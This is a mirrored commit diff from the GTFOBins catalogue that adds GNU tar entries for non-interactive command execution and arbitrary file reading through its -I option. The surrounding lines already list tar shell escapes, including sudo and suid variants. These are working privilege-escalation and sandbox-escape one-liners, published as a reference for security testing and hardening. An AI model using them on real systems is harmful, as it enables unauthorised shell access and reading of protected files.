mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Add tar execute-non-interactive and file-read
This commit is contained in:
		| @@ -2,6 +2,9 @@ | |||||||
| functions: | functions: | ||||||
|   execute-interactive: |   execute-interactive: | ||||||
|     - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |     - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh | ||||||
|  |   execute-non-interactive: | ||||||
|  |     - description: This only works for GNU tar. | ||||||
|  |       code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"' | ||||||
|   sudo-enabled: |   sudo-enabled: | ||||||
|     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh | ||||||
|   suid-limited: |   suid-limited: | ||||||
| @@ -13,4 +16,9 @@ functions: | |||||||
|         TF=$(mktemp) |         TF=$(mktemp) | ||||||
|         echo data > "$TF" |         echo data > "$TF" | ||||||
|         tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P |         tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P | ||||||
|  |   file-read: | ||||||
|  |     - description: This only works for GNU tar. | ||||||
|  |       code: | | ||||||
|  |         LFILE=file_to_read | ||||||
|  |         tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"' | ||||||
| --- | --- | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user